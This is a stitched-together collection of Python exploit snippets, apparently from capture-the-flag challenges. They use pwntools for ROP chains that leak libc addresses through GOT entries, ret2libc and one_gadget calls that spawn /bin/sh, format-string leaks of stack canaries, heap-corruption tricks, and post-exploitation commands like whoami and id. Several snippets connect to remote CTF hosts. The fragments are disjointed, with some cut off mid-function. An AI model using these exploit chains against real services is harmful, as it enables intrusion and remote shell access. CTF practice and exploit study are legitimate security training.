def pwn(): flush() # ret gadget ret = rop.find_gadget(['ret'])[0] # main address main = elf.symbols["main"] # puts@plt puts = elf.plt["puts"] # pop rdi, ret gadget pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0] # use pwn cyclic to find overflow amount junk = b'A' * 136 # 1.) Leak puts() address address payload = junk # pop rdi, ret gadget payload += p64(pop_rdi) # load the address of puts into rdi payload += p64(elf.got['puts']) # print address of puts payload += p64(puts) # leak gets as well payload += p64(ret) payload += p64(pop_rdi) payload += p64(elf.got['gets']) payload += p64(puts) # return to main payload += p64(main) sl(payload) # indentify libc from https://libc.blukat.me leaked_puts = u64(rl().strip().ljust(8, b"\x00")) leaked_gets = u64(rl().strip().ljust(8, b"\x00")) # calculate offets libc.address = leaked_gets - libc.symbols["gets"] log.info(f"Leaked puts@got: {hex(leaked_puts)}") log.info(f"Leaked gets@got: {hex(leaked_gets)}") log.info(f"Found libc base: {hex(libc.address)}") flush() payload = junk payload += p64(pop_rdi) # load the address of /bin/sh into rdi register after calculating the offsets payload += p64(next(libc.search(b'/bin/sh'))) payload += p64(ret) # execute system() and get shell payload += p64(libc.symbols['system']) sl(payload) p.interactive()
def get_leak(self, s): self.t.recvuntil(': ') self.t.send(s) data = self.t.recvline().split(b' ')[2] #print repr(data) leak = pwn.u64(data[-6:].ljust(8, b"\x00")) return leak
def wait_response(clientSocket): s = clientSocket.recv(9) l = u64(s[1:]) s = clientSocket.recv(l, MSG_WAITALL) # print('recv:' , s) j = json.loads(s.decode()) return j
def get_addr(libc_func): FUNC_GOT = ELF_LOADED.got[libc_func] log.info(libc_func + " GOT @ " + hex(FUNC_GOT)) # Create rop chain rop1 = p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) rop1 = generate_payload_aligned(rop1) # Send our rop-chain payload #P.sendlineafter("dah?", rop1) #Use this to send the payload when something is received print(P.clean()) # clean socket buffer (read all and print) P.sendline(rop1) # If binary is echoing back the payload, remove that message recieved = P.recvline().strip() if OFFSET[:30] in recieved: recieved = P.recvline().strip() # Parse leaked address log.info(f"Len rop1: {len(rop1)}") leak = u64(recieved.ljust(8, b"\x00")) log.info(f"Leaked LIBC address, {libc_func}: {hex(leak)}") # Set lib base address if LIBC: LIBC.address = leak - LIBC.symbols[libc_func] #Save LIBC base log.info("LIBC base @ %s" % hex(LIBC.address)) # If not LIBC yet, stop here else: print( "TO CONTINUE) Find the LIBC library and continue with the exploit... (https://LIBC.blukat.me/)" ) P.interactive() return hex(leak)
def go(): s = get_conn() username = "******" password = "******" system_off = 0x3F570 malloc_off = 0x78560 pop_rdi = 0x4015f3 bin_sh_off = 0x163c38 # 0x00000000004015f3 : pop rdi ; ret s.sendline("2") s.sendline(username) s.sendline(password) s.sendline("4") leak_fmt = "%7$sAAAA" leak_fmt += p64(elf.got["malloc"]) s.sendline(leak_fmt) s.recvuntil("Filename : ") leak = u64(s.recv(6).ljust(8, "\x00")) libc_base = leak - malloc_off system = libc_base + system_off bin_sh = libc_base + bin_sh_off log.info("leak {}".format(hex(leak))) log.info("libc base @ {}".format(hex(libc_base))) log.info("system @ {}".format(hex(system))) log.info("/bin/sh @ {}".format(hex(bin_sh))) s.sendline("4") leak_fmt = "%9$llx" s.sendline(leak_fmt) s.recvuntil("Filename : ") cookie = int(s.recvline().strip(), 16) log.info("stack cookie = {}".format(hex(cookie))) s.sendline("4") leak_fmt = "%10$llx" s.sendline(leak_fmt) s.recvuntil("Filename : ") saved_ebp = int(s.recvline().strip(), 16) log.info("saved_ebp = {}".format(hex(saved_ebp))) s.sendline("4") # AA so it doesn't crash on download padding = "AA" + "\x00"*0x16 payload = padding + p64(cookie) + p64(saved_ebp) + p64(pop_rdi) + p64(bin_sh) + p64(system) s.recvuntil("Input file name") s.sendline(payload) s.recvuntil("No such file!") s.interactive()
def leak_libc(p): # 0. set up the layout of unsorted bin for _ in range(10): malloc(p, 0x300) for i in range(7): free(p, i) free(p, 7) # 1. read the content of the chunk in unsorted bin addr = read(p, 7) addr = u64(addr + b'\x00' * (8 - len(addr))) # 2. compute the base of libc by the content in fd pointer current_pointer = 0x7f0d067bbca0 current_base = 0x7f0d063d0000 offset = current_pointer - current_base base = addr - offset print(hex(base)) import ipdb ipdb.set_trace() return (base)
def leak_for_oneshot(oneshot, offset, tylor_last_word, symbol): global host, port, binary, libc new = "" elf = ELF(binary) libc = ELF(sys.argv[2]) rop = ROP(elf) rop.call(elf.sym[symbol], [elf.got[symbol]]) rop.call(elf.sym.main) success(rop.dump()) if host != "": p = remote(host, port) else: p = process(binary) p.recvuntil(tylor_last_word) p.sendline(fit({int(offset): rop.chain()})) p.recv() puts = u64(p.recv()[:6].strip().ljust(8, b'\x00')) libc.address = puts - libc.symbols[symbol] payload = libc.address + oneshot output("PAYLOAD > " + str(hex(payload))) p.sendline(fit({int(offset): p64(payload)})) p.sendline("echo pwn && whoami && id && hostname") try: new = str(p.recv()) output(new) except Exception as f: pass if "pwn" in str(new): output("HOPE WE GET A SHELL") p.interactive() else: pass
def get_roots_addrs(binary): roots = [] for start in range(binary.symbols['roots'], binary.symbols['roots'] + 0x3b * 8, 8): addr = binary.read(start, 8) roots.append(u64(addr)) return roots
def show_sword(self, index): self.p.sendlineafter('Quit.\n', '3') self.p.sendlineafter('?\n', str(index)) self.p.recvuntil('The name is ') leak = self.p.recv(6) # at least 6 byte address on amd64 system leak = leak.ljust(8, '\x00') leak = u64(leak) return leak
def print_contacts(self, name): cmd = 'display' self.p.sendlineafter('\n> ', cmd) self.p.recvuntil(('%s - ' % (name))) leak = self.p.recv(6) # at least 6 byte address on amd64 system leak = leak.ljust(8, '\x00') leak = u64(leak) return leak
def recv_libc_leak(self, ignore_str=b'', recv_count=8): if len(ignore_str) > 0: self.proc.recvuntil(ignore_str) leak = self.proc.recv(recv_count) leak = pwn.u64(leak.ljust(8, b'\x00')) self.set_libc_offset(leak_function=self.leak_function, leak_address=leak) return leak
def read_disk(p, index): pwn.log.info("read_disk") p.sendlineafter('Command: ', '1') p.sendlineafter('Index: ', str(index)) p.recvuntil("Data: ") data = p.recvuntil(b"\n#########################################################", drop=True) print(f"Read Data: {data}") ptr = data.split(b'\n')[0].ljust(8, b'\x00') ptr = pwn.u64(ptr) print(f"ptr = {ptr:x}") return data, ptr
def leak64(self): if len(self.leak[self.lenght:]) > 0: s = self.leak[self.lenght:] if len(s) % 8 == 0: l = [] for x in range(0, len(s), 8): pp = hex(u64(s[x:x + 8])) if len(pp[2:]) % 8 == 0: if len(pp[2:]) == 16: l.append(pp) else: l.append('0x00000000' + pp[2:]) else: if len(pp[2:]) < 8: pp = '0x00000000' + '0' * ( 8 - (len(pp[2:]) % 8)) + pp[2:] l.append(pp) else: pp = '0x' + '0' * (8 - (len(pp[2:]) % 8)) + pp[2:] l.append(pp) self.xxx = l else: s = s + '\x00' * (8 - (len(s) % 8)) l = [] for x in range(0, len(s), 8): pp = hex(u64(s[x:x + 8])) if len(pp[2:]) % 8 == 0: if len(pp[2:]) == 16: l.append(pp) else: l.append('0x00000000' + pp[2:]) else: if len(pp[2:]) < 8: pp = '0x00000000' + '0' * ( 8 - (len(pp[2:]) % 8)) + pp[2:] l.append(pp) else: pp = '0x' + '0' * (8 - (len(pp[2:]) % 8)) + pp[2:] l.append(pp) self.xxx = l return self.xxx
def leak_heap(self, index=0): ''' Leak the heap base address ''' for _ in range(2): T.new_page(0x18) for i in range(2): T.burn_page(i + index) T.new_page(0x18) leak = pwn.u64(T.read_page(index).ljust(8, '\x00')) - 0x260 T.burn_page(index) return leak
def exploit1(self): elf = self.elf libc = self.libc with self.get_process(ld_preload=True, ld_linux=True) as self.p: pay = (': %s 7 + + + + + + + ' % (c) for c in ('a', 'b', 'c', 'd', 'e')) payload = ''.join(pay) self.send_expression(payload) payload = ': f 7 + + + + + + +'.rjust(0x6f, ' ') self.send_expression(payload) pay = ': a 8 + + + + + + + + ' pay += 'f' pay = pay.ljust(0x20, '\x00') pay += p64(7) + p64(0x601b80) pay += p64(6) + p64(0x601c88) pay += p64(6) + p64(0x601c90) pay += p64(7) + p64(0x601c88) pay += p64(5) self.send_expression(pay) self.p.recvuntil('Running ') self.p.recvuntil('Running ') heap = u64(r.recvline()[:-1].ljust(8, '\x00')) heap_base = heap - 0x470 print hex(heap_base) self.p.recvuntil('Running ') libc.address = u64(r.recvline()[:-1].ljust( 8, '\x00')) - libc.symbols['free'] print hex(libc.address) pay = '/bin/sh; f '.ljust(16, '\x00') pay += p64(5) + p64(heap_base + 0x450) pay += p64(heap_base + 0x50) + p64(1) pay += p64(7) + p64(heap_base + 0x28) pay += p64(libc.symbols['system']) + p64(0) pay += p64(5) + p64(0) pay += p64(5) self.p.sendlineafter('>> ', pay) self.p.interactive()
def f1(s): # quote out ; and = in s s = s.replace(';', '";"') s = s.replace('=', '"="') res = PREPEND + s + APPEND res = bytearray(res, 'UTF-8') # encrypt under random AES key k = randbytes(AES_KEY_SZ) nonce = u64(randbytes(CTR_DEFAULT_NONCE_SZ)) res_enc = aes_ctr_enc(res, k, nonce) return k, res_enc, nonce
def leak_libc(p): for _ in range(16): malloc(p, 0x300) # 0 - 15 for i in range(7): free(p, i) free(p, 7) addr = read(p, 7) addr = u64(addr + b'\x00' * (8 - len(addr))) offset = 0x155555326ca0 - 0x155554f3b000 base = addr - offset print(hex(base)) return base
def leak(host, port, offset, binary, libc, tylor_last_word, symbol): global x elf = ELF(binary) libc = ELF(libc) rop = ROP(elf) rop.call(elf.sym[symbol], [elf.got[symbol]]) rop.call(elf.sym.main) success(rop.dump()) if host != "": p = remote(host, port) else: p = process(binary) #p = remote('docker.hackthebox.eu', 32443) p.recvuntil(tylor_last_word) p.sendline(fit({int(offset): rop.chain()})) p.recv() puts = u64(p.recv()[:6].strip().ljust(8, b'\x00')) output("LEAKED " + str(symbol) + " > " + str(hex(puts))) libc.address = puts - libc.symbols[symbol] if x == 0: ret2libc(p, offset, libc.address) else: exploit_oneshot(offset, p, tylor_last_word, symbol)
0x0000000000a22aa0, 0x0000000000000000, 0x0000000000000000, 0x00000000005afe30, 0x0000000000000000, 0x6666666666666666, 0x00000000005a5700, 0x00000000005a7ab0, ] PyLong_Type_address = 0xa25940 # system_address = 0x421080 # actual address of system in plt doesn't fit, crashes with SIGSEGV, so try another one system_address = 0x44D27C # works! corrupt_type = PyLong_Type[:] corrupt_type[0] = pwn.u64(b'/bin/sh\0') # string to execute corrupt_type[1] = PyLong_Type_address corrupt_type[ 17] = 0x4afed6 # mov rdx, qword ptr [rax + 8]; mov rdi, rax; call qword ptr [rdx + 0x30]; corrupt_type[0x30 // 8] = system_address # rcx + 0x30 to be called payload = b''.join(pwn.p64(i) for i in corrupt_type) p = pwn.process(["python3.7", "caller.py"]) # change to pwn.remote for remote exploitation p.readuntil("[?] syscall number: ") p.sendline("0") # read syscall p.readuntil("[?] syscall arguments: ") p.sendline(f"0 {PyLong_Type_address} {len(payload)}" ) # read len(payload) bytes from stdin into &PyLong_Type
#!/usr/bin/env python3 import pwn pwn.context.arch = 'amd64' elf = pwn.ELF('./bof3') libc = pwn.ELF('./libc.so.6') rop = pwn.ROP(elf) payload = b'A' * 16 + pwn.p64(rop.rdi.address) + pwn.p64( elf.got[b'gets']) + pwn.p64(elf.plt[b'puts']) + pwn.p64(elf.sym[b'main']) rem = pwn.remote('csie.ctf.tw', 10127) rem.sendline(payload) rem.recvline() gets_addr = pwn.u64(rem.recv(6).ljust(8, b'\x00')) rem.recvline() one_gadget = 0x10a38c libc_addr = gets_addr - libc.symbols[b'gets'] shell_addr = libc_addr + one_gadget payload = b'A' * 16 + pwn.p64(shell_addr) rem.sendline(payload) rem.recvline() rem.interactive()
def framepointer(self): return u64(self._framepointer)
def returnAddress(self): return u64(self._returnAddress)
pwn.context.arch = 'amd64' libc = pwn.ELF('./libc-2.27.so') remote = pwn.remote('eductf.zoolab.org', 10105) #remote = pwn.remote('10.88.6.201', 12345) remote.sendlineafter('Size: ', '-2147483648') remote.recvuntil("It's safe now :)\n") puts_got = 0x601018 puts_plt = 0x4005b0 pop_rdi = 0x0000000000400873 pop_rsi_r15 = 0x0000000000400871 read_plt = 0x4005d0 ret = 0x0000000000400294 payload = b'a' * 0x100 + pwn.p64(0) # rbp payload += pwn.p64(pop_rdi) + pwn.p64(puts_got) + pwn.p64(puts_plt) payload += pwn.p64(pop_rdi) + pwn.p64(0) + pwn.p64(pop_rsi_r15) + pwn.p64(puts_got) + pwn.p64(0) + pwn.p64(read_plt) payload += pwn.p64(ret) + pwn.p64(puts_plt) remote.send(payload) libc_base = pwn.u64(remote.recvuntil('\n', drop=True).ljust(8, b'\x00')) - libc.symbols[b'puts'] print('libc:', hex(libc_base)) #input() one_gadget = libc_base + 0x4f322 # [rsp+0x40] == NULL remote.send(pwn.p64(one_gadget)) remote.interactive()
def canary(self): return u64(self._canary)
def u64(h): return pwn.u64(h)
return c if __name__ == '__main__': if pwnlib.args.args['REMOTE']: p = pwn.connect('csie.ctf.tw', 10135) else: p = pwn.process('./readme-fc826c708f619e14b137630581b766b23e3db765') libc = pwn.ELF('./libc.so.6-14c22be9aa11316f89909e4237314e009da38883') fc = final_chain() print p.recvuntil(':') # read your input: p.send(main_chain(buf1_address, 'x'*0x20)) for i in range(len(fc)//0x20): p.send(main_chain(buf2_address+0x20*i, fc[i*0x20:(i+1)*0x20])) time.sleep(0.01) p.send(main_chain(buf1_address, fc[i*0x20:(i+1)*0x20])) p.send(main_chain(buf2_address-0x20, '/bin/sh\x00'.ljust(0x20), leave=True)) time.sleep(0.5) p.send('\x2E') # partial_got_overwrite leak_printf_got = pwn.u64(p.recv(0x8)) p.recv(59-0x8) # calculate libc base libc_base = leak_printf_got - libc.symbols['printf'] # pwn.gdb.attach(p, gdbscript='x/xg 0x601020') p.interactive() print p.recvall()
size_r = 0x100 size_q = 0x100 p_index = add_item(p, size_p-0x10, 'x'*(size_p-0x10-1)) # 0 r_index = add_item(p, size_r-0x10, 'y'*(size_r-0x10-1)) # 1 q_index = add_item(p, size_q-0x10, 'z'*(size_q-0x10-1)) # 2 payload = fake_chunk(r_index, size_p, size_r, size_q) change_item(p, r_index, len(payload)+1, payload) remove_item(p, q_index) # &r = 0x6020c0 = &r - 0x18 payload = '\x00'*0x18 + pwn.p64(address_atoi_got) + '\x00' * 0x8 * 90 change_item(p, r_index, len(payload)+1, payload) show_item(p) print p.recvuntil(': ') leak_atoi_got = pwn.u64(p.recvline(keepends=False).ljust(0x8, '\x00')) print hex(leak_atoi_got) libc_base = leak_atoi_got - libc_elf.symbols['atoi'] system_got = libc_base + libc_elf.symbols['system'] print hex(libc_base), hex(system_got) # change atoi_got payload = pwn.p64(system_got) change_item(p, r_index, len(payload)+1, payload) # goodbye p.send('/bin/sh\x00') print p.clean(PIPE_CLEAN_TIME) p.interactive()
def get_qword(addr): global data addr -= 0x1000 return pwn.u64(data[addr:addr+8])
import pwn elf = pwn.ELF('./chall') fake = b'zer0pts{********CENSORED********}' fake += b'\x00' * (8 - len(fake) % 8) data = elf.read(0x201060, len(fake)) flag = b'' for i in range(0, len(fake), 8): flag += pwn.p64(pwn.u64(fake[i:i + 8]) + pwn.u64(data[i:i + 8])) flag = flag.strip(b'\x00').decode() pwn.log.info(flag)
_, mid = syscall(p, SYS_shmget, 0x1337, 0x1000, 0o1666) _, shm_base = syscall(p, SYS_shmat, mid, 0, 0) pwn.log.info('shmaddr: 0x{:012X}'.format(shm_base)) libc_base = shm_base - 0xBB8000 pwn.log.info('libc.so.6: 0x{:012X}'.format(libc_base)) environ = libc_base + libc.symbols[b'environ'] iovec = pwn.p64(environ) iovec += pwn.p64(0x8) for i, x in enumerate(iovec): writeb(i, x) data, _ = syscall(p, SYS_writev, 1, shm_base, 1) environ = pwn.u64(data) pwn.log.info('environ: 0x{:012X}'.format(environ)) execve = libc_base + libc.symbols[b'execve'] str_bin_sh = libc_base + next(libc.search(b'/bin/sh\x00')) pop_rdi = libc_base + next(libc.search(pwn.asm('pop rdi; ret'))) pop_rsi = libc_base + next(libc.search(pwn.asm('pop rsi; ret'))) pop_rdx = libc_base + next(libc.search(pwn.asm('pop rdx; ret'))) payload = pwn.p64(pop_rdi) payload += pwn.p64(str_bin_sh) payload += pwn.p64(pop_rsi) payload += pwn.p64(0) payload += pwn.p64(pop_rdx) payload += pwn.p64(0) payload += pwn.p64(execve)